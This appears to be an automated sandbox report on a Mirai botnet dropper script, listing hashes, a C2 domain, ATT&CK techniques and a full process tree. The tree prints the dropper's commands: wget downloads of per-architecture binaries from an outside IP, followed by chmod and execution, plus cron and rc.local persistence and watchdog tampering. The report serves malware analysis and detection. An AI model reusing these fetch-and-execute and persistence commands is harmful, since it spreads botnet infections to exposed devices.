mirai | 7e7660fa660009fc95dd10651842635bb480f43a50d4c543c9db86c894027a48

Analysis

max time kernel
147s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20260126-en
resource tags

arch:mipselimage:debian9-mipsel-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/05/2026, 15:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wawan.sh
Size 2KB
Sample260511-tdtymsht9l
SHA256 7e7660fa660009fc95dd10651842635bb480f43a50d4c543c9db86c894027a48
MD5 d626e72ea627ddfeffe2e62efbc81fc4
SHA1 897b56af1b535d6cb31ab06b2d153b7ad9ea94ac
SHA512 a39a6ec3cf89ef8dc5d73d68e426bed47610ac962dd315c5989caa1c4f739154ecf3f505165227b9a941e0eaadba584f0a68faee0bdbb4a27e03029552f705df
TLSH
T1D3513CD15F2080622F3C48D571FCC351085BDBAE2721296EBC2568393ECF955E3BBAA1
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery execution mirai persistence privilege_escalation upx

Malware Config

Extracted

Family

mirai

terrabot.qzz.io

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 17 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
883	chmod
808	chmod
852	chmod
860	chmod
879	chmod
738	chmod
773	chmod
872	chmod
728	chmod
822	chmod
846	chmod
864	chmod
747	chmod
795	chmod
804	chmod
856	chmod
868	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/023782pler.x86	748	wawan.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	023782pler.mpsl
File opened for modification	/dev/misc/watchdog	023782pler.mpsl

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/bot	wawan.sh

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	wawan.sh

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	023782pler.mpsl
File opened for modification	/bin/watchdog	023782pler.mpsl

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-8.dat	upx

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/status	023782pler.mpsl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/status	023782pler.mpsl
File opened for reading	/proc/2/status	023782pler.mpsl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
749	wget
774	023782pler.mips

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/023782pler.x86	wget
File opened for modification	/tmp/023782pler.mips	wget
File opened for modification	/tmp/023782pler.arc	wget
File opened for modification	/tmp/023782pler.x86_64	wget
File opened for modification	/tmp/023782pler.arm	wget
File opened for modification	/tmp/023782pler.arm7	wget
File opened for modification	/tmp/023782pler.ppc	wget
File opened for modification	/tmp/wget	cp
File opened for modification	/tmp/023782pler.m68k	wget
File opened for modification	/tmp/023782pler.i468	wget
File opened for modification	/tmp/023782pler.sh4	wget
File opened for modification	/tmp/curl	cp
File opened for modification	/tmp/023782pler.i686	wget
File opened for modification	/tmp/023782pler.mpsl	wget
File opened for modification	/tmp/023782pler.arm5	wget
File opened for modification	/tmp/023782pler.arm6	wget
File opened for modification	/tmp/023782pler.spc	wget
File opened for modification	/tmp/terrabot.sh	cp

/tmp/wawan.sh
/tmp/wawan.sh
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Modifies rc script
PID:716
- /bin/cp
  cp /bin/busybox wget
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/cp
  cp /bin/busybox curl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod +x wget curl
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /bin/chmod
  chmod 644 /etc/cron.d/bot
  2⤵
  PID:730
- /bin/grep
  grep -q /tmp/terrabot.sh /etc/rc.local
  2⤵
  PID:733
- /bin/cp
  cp /bin/busybox /tmp/terrabot.sh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod +x /tmp/terrabot.sh
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /usr/bin/wget
  wget -q -O /tmp/023782pler.x86 http://103.31.39.234/terrabot/023782pler.x86
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod +x /tmp/023782pler.x86
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /usr/bin/wget
  wget -q -O /tmp/023782pler.mips http://103.31.39.234/terrabot/023782pler.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /tmp/023782pler.x86
  /tmp/023782pler.x86 023782pler.x86
  2⤵
  PID:748
- /bin/chmod
  chmod +x /tmp/023782pler.mips
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arc http://103.31.39.234/terrabot/023782pler.arc
  2⤵
  - Writes file to tmp directory
  PID:775
- /tmp/023782pler.mips
  /tmp/023782pler.mips 023782pler.mips
  2⤵
  - System Network Configuration Discovery
  PID:774
- /bin/chmod
  chmod +x /tmp/023782pler.arc
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /usr/bin/wget
  wget -q -O /tmp/023782pler.i468 http://103.31.39.234/terrabot/023782pler.i468
  2⤵
  - Writes file to tmp directory
  PID:797
- /tmp/023782pler.arc
  /tmp/023782pler.arc 023782pler.arc
  2⤵
  PID:796
- /bin/sh
  /bin/sh /tmp/023782pler.arc 023782pler.arc
  2⤵
  PID:796
- /bin/chmod
  chmod +x /tmp/023782pler.i468
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /usr/bin/wget
  wget -q -O /tmp/023782pler.i686 http://103.31.39.234/terrabot/023782pler.i686
  2⤵
  - Writes file to tmp directory
  PID:806
- /tmp/023782pler.i468
  /tmp/023782pler.i468 023782pler.i468
  2⤵
  PID:805
- /bin/sh
  /bin/sh /tmp/023782pler.i468 023782pler.i468
  2⤵
  PID:805
- /bin/chmod
  chmod +x /tmp/023782pler.i686
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /usr/bin/wget
  wget -q -O /tmp/023782pler.x86_64 http://103.31.39.234/terrabot/023782pler.x86_64
  2⤵
  - Writes file to tmp directory
  PID:810
- /tmp/023782pler.i686
  /tmp/023782pler.i686 023782pler.i686
  2⤵
  PID:809
- /bin/chmod
  chmod +x /tmp/023782pler.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /usr/bin/wget
  wget -q -O /tmp/023782pler.mpsl http://103.31.39.234/terrabot/023782pler.mpsl
  2⤵
  - Writes file to tmp directory
  PID:824
- /tmp/023782pler.x86_64
  /tmp/023782pler.x86_64 023782pler.x86_64
  2⤵
  PID:823
- /bin/chmod
  chmod +x /tmp/023782pler.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm http://103.31.39.234/terrabot/023782pler.arm
  2⤵
  - Writes file to tmp directory
  PID:848
- /tmp/023782pler.mpsl
  /tmp/023782pler.mpsl 023782pler.mpsl
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:847
- /bin/chmod
  chmod +x /tmp/023782pler.arm
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm5 http://103.31.39.234/terrabot/023782pler.arm5
  2⤵
  - Writes file to tmp directory
  PID:854
- /tmp/023782pler.arm
  /tmp/023782pler.arm 023782pler.arm
  2⤵
  PID:853
- /bin/chmod
  chmod +x /tmp/023782pler.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm6 http://103.31.39.234/terrabot/023782pler.arm6
  2⤵
  - Writes file to tmp directory
  PID:858
- /tmp/023782pler.arm5
  /tmp/023782pler.arm5 023782pler.arm5
  2⤵
  PID:857
- /bin/chmod
  chmod +x /tmp/023782pler.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm7 http://103.31.39.234/terrabot/023782pler.arm7
  2⤵
  - Writes file to tmp directory
  PID:862
- /tmp/023782pler.arm6
  /tmp/023782pler.arm6 023782pler.arm6
  2⤵
  PID:861
- /bin/chmod
  chmod +x /tmp/023782pler.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /usr/bin/wget
  wget -q -O /tmp/023782pler.ppc http://103.31.39.234/terrabot/023782pler.ppc
  2⤵
  - Writes file to tmp directory
  PID:866
- /tmp/023782pler.arm7
  /tmp/023782pler.arm7 023782pler.arm7
  2⤵
  PID:865
- /bin/chmod
  chmod +x /tmp/023782pler.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /usr/bin/wget
  wget -q -O /tmp/023782pler.spc http://103.31.39.234/terrabot/023782pler.spc
  2⤵
  - Writes file to tmp directory
  PID:870
- /tmp/023782pler.ppc
  /tmp/023782pler.ppc 023782pler.ppc
  2⤵
  PID:869
- /bin/chmod
  chmod +x /tmp/023782pler.spc
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /usr/bin/wget
  wget -q -O /tmp/023782pler.m68k http://103.31.39.234/terrabot/023782pler.m68k
  2⤵
  - Writes file to tmp directory
  PID:874
- /tmp/023782pler.spc
  /tmp/023782pler.spc 023782pler.spc
  2⤵
  PID:873
- /bin/chmod
  chmod +x /tmp/023782pler.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /usr/bin/wget
  wget -q -O /tmp/023782pler.sh4 http://103.31.39.234/terrabot/023782pler.sh4
  2⤵
  - Writes file to tmp directory
  PID:881
- /tmp/023782pler.m68k
  /tmp/023782pler.m68k 023782pler.m68k
  2⤵
  PID:880
- /bin/chmod
  chmod +x /tmp/023782pler.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:883

/tmp/023782pler.sh4
/tmp/023782pler.sh4 023782pler.sh4
1⤵
PID:884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /etc/cron.d/bot
Size 30B
SHA256 0dc992c9d868863d561b6f6196f33e8045a9fa4966d5760ed2f6187e484044a2
MD5 340ab39a8e764c71568987c0dcda291c
SHA1 2309250d0e95cc15c9a8a3ae741cd2dbdd5b3a8c
SHA512 95d32d56266cae3c0e0249d900515c650bbed756e056ea03ba22ea8ffb779c5bd532a5d4616b3155ec4f25300c2417361bfef53f5fbb3a762cab3036ee254082
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 17B
SHA256 a0709af7d04b454f7596410300af0031f51e721d93060a92d43272a150038059
MD5 7e8f5becca6ace1e89ba68e60cdfbc7c
SHA1 d891566fe04f4738a62ba18bfe007ceaf38f44f7
SHA512 0b13f0197dc28c13638bb7c0ed876b8fd9ac2623d00197d10b47a9f7f1fe5cc2cee1efe6a4ac813463057375882cc151cd4a499c3ef8255db72ac69bc6ed788d
MD5 SHA1 SHA512

Submit Download

023782pler.x86

Path /tmp/023782pler.x86
Size 39KB
SHA256 7a866c4e71afd71f03c2b33e527248b651c1a75717fd0a75ab1641a4c5f14f75
MD5 91214d62b241d629fa7f16e70f0672c9
SHA1 42058dc70c93e6337db9af4f3de8be6ffa7db459
SHA512 4398525b2d7c2632b568fdf201c84a5d13d3cbe7b56ffc52a8fe0144812da67734f125801ecd0dac7b56e6e66df6a3740c82aaa5dccc9c084f280d5b8c654afc
SSDEEP 768:0F1DbfTrL3QX9bKWjN+qGTnedgI7WzzZag789GGh/YFMtLynA1nbcuyD7UHQRjy:07/fToNbKWjwq6+gxzN7DDMt+nenouy8
TLSH
T17903E15061FE4BE2D65B40F674BE244E3750D70DAE248CB3BC84F9B25ACAF4C664A097
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 857KB
SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
MD5 6ffc46165b5d9726a6607f3ea5305589
SHA1 ab127220f42e816b413dde0d17031e251a7bc98f
SHA512 456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8
SSDEEP 12288:JPhF2a+T7dHoLBMr/PgVbC47UnA+x9toFOUKPmG3QnPB9AG+PZQCfjrcDIQmin4D:JPhF2HTchw+jK+zFrCNYa+WUXSXPDd
TLSH
T195155C029F141FEBC8DBCD318A2DD36714EDCC9F02DA567A78BC8888764A64E9DD7448
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads